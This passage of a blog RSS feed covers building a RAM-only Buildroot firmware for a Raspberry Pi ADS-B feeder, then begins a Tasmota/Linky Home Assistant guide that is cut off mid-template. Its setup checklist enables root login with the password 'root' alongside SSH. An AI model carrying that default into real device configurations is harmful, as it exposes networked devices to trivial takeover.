&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 stop
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 start
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; *&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Usage: &lt;/span&gt;$0&lt;span style="color:#e6db74"&gt; {start|stop|restart}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="feeder-configurations"&gt;Feeder Configurations
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/fr24feed.ini&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;receiver&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;beast-tcp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fr24key&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;YOUR_FR24_KEY&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;host&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;127.0.0.1:30005&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;bs&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;no&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;raw&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;no&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;logmode&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;logpath&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/tmp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mlat&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mlat-without-gps&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/lighttpd/lighttpd.conf&lt;/strong&gt; (Web Interface):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;server.modules += ( &amp;#34;mod_alias&amp;#34;, &amp;#34;mod_setenv&amp;#34; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;server.document-root = &amp;#34;/var/www/tar1090&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;server.port = 80
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;index-file.names = ( &amp;#34;index.html&amp;#34; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mimetype.assign = (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;.html&amp;#34; =&amp;gt; &amp;#34;text/html&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;.css&amp;#34; =&amp;gt; &amp;#34;text/css&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;.js&amp;#34; =&amp;gt; &amp;#34;application/javascript&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;.json&amp;#34; =&amp;gt; &amp;#34;application/json&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;.png&amp;#34; =&amp;gt; &amp;#34;image/png&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;.svg&amp;#34; =&amp;gt; &amp;#34;image/svg+xml&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias.url += ( &amp;#34;/data/&amp;#34; =&amp;gt; &amp;#34;/tmp/readsb/&amp;#34; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$HTTP[&amp;#34;url&amp;#34;] =~ &amp;#34;^/data/&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setenv.add-response-header = ( &amp;#34;Cache-Control&amp;#34; =&amp;gt; &amp;#34;no-cache, no-store, must-revalidate&amp;#34; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="5-ram-only-boot-configuration"&gt;5. RAM-Only Boot Configuration
&lt;/h3&gt;&lt;p&gt;To run the OS entirely in RAM, we use the &lt;strong&gt;initramfs&lt;/strong&gt; strategy. This loads the &lt;code&gt;rootfs.cpio.gz&lt;/code&gt; into the Raspberry Pi&amp;rsquo;s memory at boot time. You have two options to implement this:&lt;/p&gt;
&lt;h4 id="method-a-automated-buildroot-integration"&gt;Method A: Automated (Buildroot Integration)
&lt;/h4&gt;&lt;p&gt;This is the professional way. The files are generated correctly every time you run &lt;code&gt;make&lt;/code&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Prepare your custom board files:&lt;/strong&gt;
Create a folder &lt;code&gt;external-pi/board/&lt;/code&gt; and create two files:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;external-pi/board/config.txt&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# RAM Boot Config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;initramfs rootfs.cpio.gz followkernel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Enable UART for console
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;enable_uart=1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;external-pi/board/cmdline.txt&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console=serial0,115200 console=tty1 root=/dev/ram0 rw rootwait
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure Buildroot (&lt;code&gt;make menuconfig&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Filesystem images&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Enable &lt;code&gt;cpio the root file system&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Compression: &lt;code&gt;gzip&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Target packages&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Hardware handling&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Select &lt;code&gt;rpi-firmware&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;Configuration file&lt;/code&gt; to &lt;code&gt;$(BR2_EXTERNAL_PI_FEEDER_EXT_PATH)/board/config.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System configuration&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Set &lt;code&gt;Custom scripts to run after creating the images&lt;/code&gt; to point to a script that copies your &lt;code&gt;cmdline.txt&lt;/code&gt; to the output folder (or use the default RPi post-image script and point it to your custom file).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="method-b-manual-quick-edit-on-sd-card"&gt;Method B: Manual (Quick Edit on SD Card)
&lt;/h4&gt;&lt;p&gt;If you don&amp;rsquo;t want to touch Buildroot files, you can edit the files on the SD card after flashing.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Flash the SD card&lt;/strong&gt; as described in Section 7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mount the BOOT partition&lt;/strong&gt; on your PC.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edit &lt;code&gt;config.txt&lt;/code&gt;&lt;/strong&gt;: Add the line &lt;code&gt;initramfs rootfs.cpio.gz followkernel&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edit &lt;code&gt;cmdline.txt&lt;/code&gt;&lt;/strong&gt;: Replace the content with &lt;code&gt;console=serial0,115200 console=tty1 root=/dev/ram0 rw rootwait&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Buildroot files in &lt;code&gt;buildroot/board/raspberrypi/&lt;/code&gt; are templates. You should &lt;strong&gt;never edit them directly&lt;/strong&gt;; always use a custom board directory in your &lt;code&gt;external-pi&lt;/code&gt; layer as shown in Method A.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="6-buildroot-setup-checklist"&gt;6. Buildroot Setup Checklist
&lt;/h3&gt;&lt;p&gt;Enable these options in &lt;code&gt;make menuconfig&lt;/code&gt; to match our project&amp;rsquo;s requirements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Target options:&lt;/strong&gt; Cortex-A53, NEON-VFPV4, Hard float (EABIhf), instructions ARM (not Thumb2).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Toolchain:&lt;/strong&gt; &lt;code&gt;Glibc&lt;/code&gt; library, Linux Headers &lt;code&gt;6.6.x&lt;/code&gt;, &lt;code&gt;GCC 13.x&lt;/code&gt;, &lt;code&gt;Binutils 2.43.x&lt;/code&gt;. Enable &lt;code&gt;Wchar&lt;/code&gt;, &lt;code&gt;Locale&lt;/code&gt;, and &lt;code&gt;C++&lt;/code&gt; support.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kernel:&lt;/strong&gt; Custom Raspberry Pi kernel (&lt;code&gt;bcm2709_defconfig&lt;/code&gt;) using the 6.6.y branch. Enable &lt;code&gt;Device Tree&lt;/code&gt; support and &lt;code&gt;DTB overlay support&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System Configuration:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Root login&lt;/code&gt; enabled (password: &lt;code&gt;root&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DHCP&lt;/code&gt; enabled on &lt;code&gt;eth0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BR2_ROOTFS_OVERLAY&lt;/code&gt; pointing to your &lt;code&gt;overlay/&lt;/code&gt; directory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Purge locale&lt;/code&gt; (C, en_US).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WiFi Stack:&lt;/strong&gt; &lt;code&gt;linux-firmware -&amp;gt; Broadcom BCM43xxx&lt;/code&gt; &amp;amp; &lt;code&gt;Cypress CYW43xxx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Networking:&lt;/strong&gt; &lt;code&gt;lighttpd&lt;/code&gt; (with &lt;code&gt;zlib&lt;/code&gt;), &lt;code&gt;dropbear&lt;/code&gt; (SSH), &lt;code&gt;wpa_supplicant&lt;/code&gt; (with &lt;code&gt;nl80211&lt;/code&gt;), &lt;code&gt;chrony&lt;/code&gt; (NTP sync).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tools:&lt;/strong&gt; &lt;code&gt;bash&lt;/code&gt;, &lt;code&gt;python3&lt;/code&gt; (with &lt;code&gt;zlib&lt;/code&gt;, &lt;code&gt;unicodedata&lt;/code&gt;, &lt;code&gt;pyasyncore&lt;/code&gt;, &lt;code&gt;pyasynchat&lt;/code&gt;), &lt;code&gt;socat&lt;/code&gt;, &lt;code&gt;kmod&lt;/code&gt; (tools), &lt;code&gt;ca-certificates&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Libraries:&lt;/strong&gt; &lt;code&gt;libusb&lt;/code&gt;, &lt;code&gt;ncurses&lt;/code&gt;, &lt;code&gt;readline&lt;/code&gt;, &lt;code&gt;zlib&lt;/code&gt;, &lt;code&gt;zstd&lt;/code&gt;, &lt;code&gt;xxhash&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filesystem:&lt;/strong&gt; &lt;code&gt;cpio&lt;/code&gt; with &lt;code&gt;gzip&lt;/code&gt; compression.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="7-deployment"&gt;7. Deployment
&lt;/h3&gt;&lt;h4 id="method-a-manual-sd-formatting"&gt;Method A: Manual SD Formatting
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Format 1 FAT32 partition on SD card&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkfs.vfat -F &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt; -n BOOT /dev/sdX1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Copy boot images from output/images/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp zImage rootfs.cpio.gz bcm2710-rpi-3-b.dtb rpi-firmware/* /mnt/sdcard/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="method-b-network-deployment-fast-iteration"&gt;Method B: Network Deployment (Fast Iteration)
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Update your running Pi remotely&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scp -O output/images/zImage output/images/rootfs.cpio.gz &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output/images/bcm2710-rpi-3-b.dtb root@192.168.1.123:/boot/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh root@192.168.1.123 &lt;span style="color:#e6db74"&gt;&amp;#34;reboot&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="8-results--performance"&gt;8. Results &amp;amp; Performance
&lt;/h3&gt;&lt;p&gt;Once the station is up and running, you can access the local web interface (tar1090) to view real-time traffic. The custom Buildroot firmware ensures extremely low CPU usage and high stability.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Figure 1: Local tar1090 interface showing live aircraft tracking." class="gallery-image" data-flex-basis="245px" data-flex-grow="102" height="740" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/adsb-feeder-buildroot-raspberry-fr24/readsb-tar1090-adsb-feeder.png" width="758"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Figure 2: ADS-B hits and positions reported to FlightRadar24." class="gallery-image" data-flex-basis="347px" data-flex-grow="144" height="363" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/adsb-feeder-buildroot-raspberry-fr24/fr24-adsb-hits-and-positions.png" width="525"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Figure 3: Reception performance: hits vs. distance." class="gallery-image" data-flex-basis="358px" data-flex-grow="149" height="337" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/adsb-feeder-buildroot-raspberry-fr24/fr24-hits-vs-distance.png" width="504"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Figure 4: General feeder statistics on the FlightRadar24 dashboard." class="gallery-image" data-flex-basis="1920px" data-flex-grow="800" height="90" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/adsb-feeder-buildroot-raspberry-fr24/fr24-stats.png" width="720"&gt;&lt;/p&gt;</description></item><item><title>Linky integration in standard mode with Home Assistant and Tasmota</title><link>https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/</link><pubDate>Sat, 18 Jan 2025 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/linky-home-assistant-tasmota-tic/home-assistant-linky-mode-standard-tasmota-1.png" alt="Featured image of post Linky integration in standard mode with Home Assistant and Tasmota" /&gt;&lt;p&gt;Linky integration in standard mode with Home Assistant and Tasmota.&lt;/p&gt;
&lt;p&gt;In this post, we&amp;rsquo;ll go through the steps to get energy data from a Linky in standard mode right into Home Assistant through MQTT using Tasmota running on a ESP32 with a &lt;a class="link" href="https://www.tindie.com/products/hallard/wemos-teleinfo/" target="_blank" rel="noopener"
 &gt;Wemos Teleinfo Hat&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ESP32 Teleinfo Wemos" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="ESP32-teleinfo-wemos.jpg"&gt;&lt;/p&gt;
&lt;h2 id="1---tasmota-linky-side"&gt;1 - Tasmota (Linky side)
&lt;/h2&gt;&lt;p&gt;On the linky side, the hardware will be :&lt;br&gt;
- &lt;a class="link" href="https://www.az-delivery.de/fr/products/esp32-d1-mini" target="_blank" rel="noopener"
 &gt;Module WiFi Mini NodeMCU ESP32 D1&lt;/a&gt;&lt;br&gt;
- &lt;a class="link" href="https://www.tindie.com/products/hallard/wemos-teleinfo/" target="_blank" rel="noopener"
 &gt;WeMos Teleinfo ESP8266/ESP32/S2/C3/S3 Shield&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Get Tasmota files :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/arendst/Tasmota.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go to the Tasmota folder&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd Tasmota
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Before compiling, let’s enable the support of Teleinfo&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim tasmota/my_user_config.h
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And uncomment the following line&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#define USE_TELEINFO &lt;/span&gt;&lt;span style="color:#75715e"&gt;// Add support for Teleinfo via serial RX interface (+5k2 code, +168 RAM + SmartMeter LinkedList Values RAM)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create a venv environment and source it :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m venv ./venv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source venv/bin/activate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Install plateformio&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install platformio
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then compile and upload :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;platformio run -e tasmota32 --target upload --upload-port /dev/ttyUSB0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then finish the Tasmota configuration as usual :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connect to the Tasmota Wifi&lt;/li&gt;
&lt;li&gt;Go to the 192.168.4.1 IP address&lt;/li&gt;
&lt;li&gt;Setup your Wifi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then go to &lt;strong&gt;Configuration -&amp;gt; Other&lt;/strong&gt; and set as template the following parameters (&lt;strong&gt;don&amp;rsquo;t forget to tick &amp;ldquo;Activate&amp;rdquo;&lt;/strong&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&lt;span style="color:#f92672"&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;Wemos Teleinfo&amp;#34;&lt;/span&gt;,&lt;span style="color:#f92672"&gt;&amp;#34;GPIO&amp;#34;&lt;/span&gt;:[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1376&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;640&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;608&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;5632&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span 